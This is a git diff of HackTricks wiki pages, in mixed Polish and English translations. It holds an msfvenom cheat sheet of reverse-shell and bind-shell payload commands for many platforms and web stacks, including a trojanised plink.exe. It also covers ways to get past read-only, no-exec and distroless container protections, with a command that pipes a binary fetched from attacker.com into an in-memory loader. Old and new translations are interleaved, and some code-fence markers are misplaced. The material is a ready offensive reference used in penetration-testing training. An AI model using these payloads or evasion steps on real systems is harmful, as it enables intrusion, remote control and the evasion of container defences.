msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## Linux Payloads
|
||||
|
||||
### Odwrócony Shell
|
||||
|
||||
{% endcode %}
|
||||
### Reverse Shell
|
||||
```bash
|
||||
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
|
||||
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
|
||||
```
|
||||
### Powiązane powłoki
|
||||
|
||||
{% endcode %}
|
||||
|
||||
### Bind Shell
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf
|
||||
```
|
||||
|
@ -122,6 +129,8 @@ msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port)
|
|||
```bash
|
||||
msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## **Payloady MAC**
|
||||
|
||||
### **Odwrócony Shell:**
|
||||
|
@ -130,45 +139,53 @@ msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTAC
|
|||
```bash
|
||||
msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho
|
||||
```
|
||||
### **Powiązane powłoki**
|
||||
{% endcode %}
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
### **Bind Shell**
|
||||
```bash
|
||||
msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## **Payloady oparte na sieci**
|
||||
## **Web Based Payloads**
|
||||
|
||||
### **PHP**
|
||||
|
||||
#### Odwrócony shel**l**
|
||||
#### Reverse shel**l**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
|
||||
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### ASP/x
|
||||
|
||||
#### Odwrócony shell
|
||||
#### Odwrócona powłoka
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### JSP
|
||||
|
||||
#### Odwrócony shell
|
||||
#### Odwrócona powłoka
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### WOJNA
|
||||
|
||||
#### Odwrócona powłoka
|
||||
#### Odwrócony Shell
|
||||
|
||||
{% endcode %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war
|
||||
```
|
||||
|
@ -178,7 +195,7 @@ msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f w
|
|||
```bash
|
||||
msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
|
||||
```
|
||||
## **Skrypty języka**
|
||||
## **Ładunki w języku skryptowym**
|
||||
|
||||
### **Perl**
|
||||
|
||||
|
@ -189,16 +206,12 @@ msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw >
|
|||
{% endcode %}
|
||||
|
||||
### **Python**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### **Bash**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh
|
||||
```
|
||||
|
@ -206,29 +219,30 @@ msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami luk za nagrody!
|
||||
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów!
|
||||
|
||||
**Wgląd w Hacking**\
|
||||
Zanurz się w treści, które zgłębiają emocje i wyzwania związane z hakerstwem
|
||||
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
|
||||
|
||||
**Aktualności z Hackingu na Żywo**\
|
||||
Bądź na bieżąco z szybkim światem hakerstwa dzięki aktualnościom i wglądom na żywo
|
||||
**Aktualności Hackingowe w Czasie Rzeczywistym**\
|
||||
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i spostrzeżeniom
|
||||
|
||||
**Najnowsze Ogłoszenia**\
|
||||
Bądź na bieżąco z najnowszymi programami nagród za znalezienie luk i istotnymi aktualizacjami platform
|
||||
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy
|
||||
|
||||
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
|
||||
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,35 +1,36 @@
|
|||
# Ominięcie zabezpieczeń systemu plików: tylko do odczytu / brak wykonywania / Distroless
|
||||
# Bypass FS protections: read-only / no-exec / Distroless
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i zostań ekspertem AWS z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwych do zhakowania rzeczy - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego, zarówno pisanego, jak i mówionego_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Filmy
|
||||
## Videos
|
||||
|
||||
W poniższych filmach znajdziesz techniki omówione na tej stronie wyjaśnione bardziej szczegółowo:
|
||||
In the following videos you can find the techniques mentioned in this page explained more in depth:
|
||||
|
||||
* [**DEF CON 31 - Badanie manipulacji pamięcią w systemie Linux dla Stealth i Ewazji**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**Intruzje Stealth z DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
|
||||
* [**DEF CON 31 - Exploring Linux Memory Manipulation for Stealth and Evasion**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**Stealth intrusions with DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
|
||||
|
||||
## Scenariusz tylko do odczytu / brak wykonywania
|
||||
## read-only / no-exec scenario
|
||||
|
||||
Coraz częściej spotyka się maszyny z systemem Linux zamontowanym z zabezpieczeniem **tylko do odczytu (ro)**, zwłaszcza w kontenerach. Jest to dlatego, że uruchomienie kontenera z systemem plików ro jest tak proste jak ustawienie **`readOnlyRootFilesystem: true`** w `securitycontext`:
|
||||
It's more and more common to find linux machines mounted with **read-only (ro) file system protection**, specially in containers. This is because to run a container with ro file system is as easy as setting **`readOnlyRootFilesystem: true`** in the `securitycontext`:
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
|
||||
kind: Pod
|
||||
|
@ -44,103 +45,110 @@ securityContext:
|
|||
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
||||
</code></pre>
|
||||
|
||||
Jednak nawet jeśli system plików jest zamontowany jako ro, **`/dev/shm`** nadal będzie zapisywalny, więc nieprawdą jest, że nie możemy nic zapisać na dysku. Jednak ten folder będzie **zamontowany z ochroną no-exec**, więc jeśli pobierzesz tu binarny plik, **nie będziesz w stanie go wykonać**.
|
||||
However, even if the file system is mounted as ro, **`/dev/shm`** will still be writable, so it's fake we cannot write anything in the disk. However, this folder will be **mounted with no-exec protection**, so if you download a binary here you **won't be able to execute it**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Z perspektywy zespołu czerwonego, **utrudnia to pobieranie i uruchamianie** binarnych plików, które nie znajdują się jeszcze w systemie (jak backdoory czy narzędzia do wyliczania, takie jak `kubectl`).
|
||||
From a red team perspective, this makes **complicated to download and execute** binaries that aren't in the system already (like backdoors o enumerators like `kubectl`).
|
||||
{% endhint %}
|
||||
|
||||
## Najprostsze ominięcie: Skrypty
|
||||
## Easiest bypass: Scripts
|
||||
|
||||
Zauważ, że wspomniałem o binariach, możesz **wykonać dowolny skrypt**, o ile interpreter jest wewnątrz maszyny, jak **skrypt powłoki** jeśli `sh` jest obecne lub **skrypt pythonowy** jeśli zainstalowano `python`.
|
||||
Note that I mentioned binaries, you can **execute any script** as long as the interpreter is inside the machine, like a **shell script** if `sh` is present or a **python** **script** if `python` is installed.
|
||||
|
||||
Jednak to nie wystarczy do uruchomienia swojego binarnego backdoora lub innych binarnych narzędzi, które mogą być potrzebne do uruchomienia.
|
||||
However, this isn't just enough to execute your binary backdoor or other binary tools you might need to run.
|
||||
|
||||
## Ominięcia pamięci
|
||||
## Memory Bypasses
|
||||
|
||||
Jeśli chcesz uruchomić binarny plik, ale system plików nie zezwala na to, najlepszym sposobem jest **wykonanie go z pamięci**, ponieważ **zabezpieczenia tam nie obowiązują**.
|
||||
If you want to execute a binary but the file system isn't allowing that, the best way to do so is by **executing it from memory**, as the **protections doesn't apply in there**.
|
||||
|
||||
### Ominięcie syscalls FD + exec
|
||||
### FD + exec syscall bypass
|
||||
|
||||
Jeśli masz potężne silniki skryptowe wewnątrz maszyny, takie jak **Python**, **Perl** lub **Ruby**, możesz pobrać binarny plik do wykonania z pamięci, przechować go w deskryptorze pliku w pamięci (`create_memfd` syscall), który nie będzie chroniony przez te zabezpieczenia, a następnie wywołać **syscalle `exec`** wskazując **fd jako plik do wykonania**.
|
||||
If you have some powerful script engines inside the machine, such as **Python**, **Perl**, or **Ruby** you could download the binary to execute from memory, store it in a memory file descriptor (`create_memfd` syscall), which isn't going to be protected by those protections and then call a **`exec` syscall** indicating the **fd as the file to execute**.
|
||||
|
||||
Do tego możesz łatwo użyć projektu [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Możesz przekazać mu binarny plik, a on wygeneruje skrypt w wskazanym języku z **binarnym skompresowanym i zakodowanym w base64** oraz instrukcjami do **dekodowania i rozpakowania** go w **fd** utworzonym za pomocą wywołania `create_memfd` syscall oraz wywołania **syscalle `exec`** do jego uruchomienia.
|
||||
For this you can easily use the project [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). You can pass it a binary and it will generate a script in the indicated language with the **binary compressed and b64 encoded** with the instructions to **decode and decompress it** in a **fd** created calling `create_memfd` syscall and a call to the **exec** syscall to run it.
|
||||
|
||||
{% hint style="warning" %}
|
||||
To nie działa w innych językach skryptowych, takich jak PHP czy Node, ponieważ nie mają one **domyślnego sposobu na wywołanie surowych syscalls** z poziomu skryptu, więc nie można wywołać `create_memfd` do utworzenia **fd pamięci** do przechowywania binarnego pliku.
|
||||
This doesn't work in other scripting languages like PHP or Node because they don't have any d**efault way to call raw syscalls** from a script, so it's not possible to call `create_memfd` to create the **memory fd** to store the binary.
|
||||
|
||||
Co więcej, utworzenie **zwykłego fd** z plikiem w `/dev/shm` nie zadziała, ponieważ nie będziesz mógł go uruchomić z powodu zastosowania **ochrony no-exec**.
|
||||
Moreover, creating a **regular fd** with a file in `/dev/shm` won't work, as you won't be allowed to run it because the **no-exec protection** will apply.
|
||||
{% endhint %}
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) to technika, która pozwala **modyfikować pamięć własnego procesu**, nadpisując jego **`/proc/self/mem`**.
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) is a technique that allows you to **modify the memory your own process** by overwriting its **`/proc/self/mem`**.
|
||||
|
||||
Dlatego **kontrolując kod asemblera**, który jest wykonywany przez proces, możesz napisać **shellcode** i "zmienić" proces, aby **wykonał dowolny arbitralny kod**.
|
||||
Therefore, **controlling the assembly code** that is being executed by the process, you can write a **shellcode** and "mutate" the process to **execute any arbitrary code**.
|
||||
|
||||
{% hint style="success" %}
|
||||
**DDexec / EverythingExec** pozwoli Ci załadować i **wykonać** swój własny **shellcode** lub **dowolny binarny plik** z **pamięci**.
|
||||
**DDexec / EverythingExec** will allow you to load and **execute** your own **shellcode** or **any binary** from **memory**.
|
||||
{% endhint %}
|
||||
```bash
|
||||
# Basic example
|
||||
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
|
||||
```
|
||||
For more information about this technique check the Github or:
|
||||
|
||||
{% content-ref url="ddexec.md" %}
|
||||
[ddexec.md](ddexec.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### MemExec
|
||||
|
||||
[**Memexec**](https://github.com/arget13/memexec) jest naturalnym kolejnym krokiem po DDexec. To **zdemilitaryzowany shellcode DDexec**, więc za każdym razem, gdy chcesz **uruchomić inny plik binarny**, nie musisz ponownie uruchamiać DDexec, możesz po prostu uruchomić shellcode memexec za pomocą techniki DDexec, a następnie **komunikować się z tym demonem, aby przekazać nowe pliki binarne do załadowania i uruchomienia**.
|
||||
[**Memexec**](https://github.com/arget13/memexec) to naturalny następny krok DDexec. To **DDexec shellcode demonizowane**, więc za każdym razem, gdy chcesz **uruchomić inny plik binarny**, nie musisz ponownie uruchamiać DDexec, możesz po prostu uruchomić shellcode memexec za pomocą techniki DDexec, a następnie **komunikować się z tym demonem, aby przekazać nowe pliki binarne do załadowania i uruchomienia**.
|
||||
|
||||
Możesz znaleźć przykład, jak **używać memexec do uruchamiania plików binarnych z odwróconego shella PHP** pod adresem [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
||||
Możesz znaleźć przykład, jak użyć **memexec do wykonywania plików binarnych z odwróconego powłoki PHP** w [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
||||
|
||||
### Memdlopen
|
||||
|
||||
O podobnym celu do DDexec, technika [**memdlopen**](https://github.com/arget13/memdlopen) umożliwia **łatwiejsze ładowanie plików binarnych** do późniejszego wykonania. Może nawet umożliwić ładowanie plików binarnych zależnych.
|
||||
Z podobnym celem do DDexec, technika [**memdlopen**](https://github.com/arget13/memdlopen) umożliwia **łatwiejszy sposób ładowania plików binarnych** w pamięci, aby później je wykonać. Może nawet pozwolić na ładowanie plików binarnych z zależnościami.
|
||||
|
||||
## Ominięcie Distroless
|
||||
## Distroless Bypass
|
||||
|
||||
### Co to jest distroless
|
||||
|
||||
Kontenery Distroless zawierają jedynie **niezbędne minimalne składniki do uruchomienia określonej aplikacji lub usługi**, takie jak biblioteki i zależności czasu wykonania, ale wykluczają większe składniki, takie jak menedżer pakietów, powłoka lub narzędzia systemowe.
|
||||
Kontenery distroless zawierają tylko **najmniejsze niezbędne komponenty do uruchomienia konkretnej aplikacji lub usługi**, takie jak biblioteki i zależności uruchomieniowe, ale wykluczają większe komponenty, takie jak menedżer pakietów, powłoka czy narzędzia systemowe.
|
||||
|
||||
Celem kontenerów Distroless jest **zmniejszenie powierzchni ataku kontenerów poprzez eliminowanie zbędnych składników** i minimalizowanie liczby podatności, które mogą być wykorzystane.
|
||||
Celem kontenerów distroless jest **zmniejszenie powierzchni ataku kontenerów poprzez eliminację niepotrzebnych komponentów** i minimalizowanie liczby podatności, które mogą być wykorzystane.
|
||||
|
||||
### Odwrócony Shell
|
||||
### Reverse Shell
|
||||
|
||||
W kontenerze Distroless możesz **nawet nie znaleźć `sh` ani `bash`** do uzyskania zwykłej powłoki. Nie znajdziesz również binarnych takich jak `ls`, `whoami`, `id`... wszystko, co zazwyczaj uruchamiasz w systemie.
|
||||
W kontenerze distroless możesz **nawet nie znaleźć `sh` lub `bash`**, aby uzyskać zwykłą powłokę. Nie znajdziesz również plików binarnych takich jak `ls`, `whoami`, `id`... wszystko, co zwykle uruchamiasz w systemie.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Dlatego **nie** będziesz w stanie uzyskać **odwróconej powłoki** ani **wyliczyć** systemu tak, jak zazwyczaj robisz.
|
||||
Dlatego **nie będziesz** w stanie uzyskać **odwróconej powłoki** ani **enumerować** systemu, jak zwykle to robisz.
|
||||
{% endhint %}
|
||||
|
||||
Jednak jeśli skompromitowany kontener uruchamia na przykład aplikację internetową flask, to zainstalowany jest Python, więc możesz uzyskać **odwróconą powłokę Pythona**. Jeśli uruchamia node, możesz uzyskać odwróconą powłokę Node, podobnie z większością **języków skryptowych**.
|
||||
Jednak jeśli skompromitowany kontener uruchamia na przykład aplikację flask, to python jest zainstalowany, a zatem możesz uzyskać **odwróconą powłokę Pythona**. Jeśli uruchamia node, możesz uzyskać odwróconą powłokę Node, i to samo z większością **języków skryptowych**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Korzystając z języka skryptowego, możesz **wyliczyć system** korzystając z możliwości języka.
|
||||
Używając języka skryptowego, możesz **enumerować system** korzystając z możliwości języka.
|
||||
{% endhint %}
|
||||
|
||||
Jeśli nie ma **protekcji `read-only/no-exec`**, możesz wykorzystać swoją odwróconą powłokę do **zapisywania swoich plików binarnych** w systemie plików i **wykonywania** ich.
|
||||
Jeśli nie ma **ochron `read-only/no-exec`**, możesz wykorzystać swoją odwróconą powłokę do **zapisywania w systemie plików swoich plików binarnych** i **wykonywania** ich.
|
||||
|
||||
{% hint style="success" %}
|
||||
Jednak w tego rodzaju kontenerach te protekcje zazwyczaj istnieją, ale możesz użyć **poprzednich technik wykonania w pamięci, aby je ominąć**.
|
||||
Jednak w tego rodzaju kontenerach te zabezpieczenia zazwyczaj będą istnieć, ale możesz użyć **wcześniejszych technik wykonania w pamięci, aby je obejść**.
|
||||
{% endhint %}
|
||||
|
||||
Możesz znaleźć **przykłady** jak **wykorzystać niektóre podatności RCE** do uzyskania **odwróconych powłok języków skryptowych** i wykonywania plików binarnych z pamięci pod adresem [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
Możesz znaleźć **przykłady** na to, jak **wykorzystać niektóre podatności RCE**, aby uzyskać odwrócone powłoki języków skryptowych i wykonywać pliki binarne z pamięci w [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli interesuje Cię **kariera w dziedzinie hakowania** i hakowanie niemożliwych do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,79 +1,80 @@
|
|||
# Testowanie penetracyjne FreeIPA
|
||||
# FreeIPA Pentesting
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
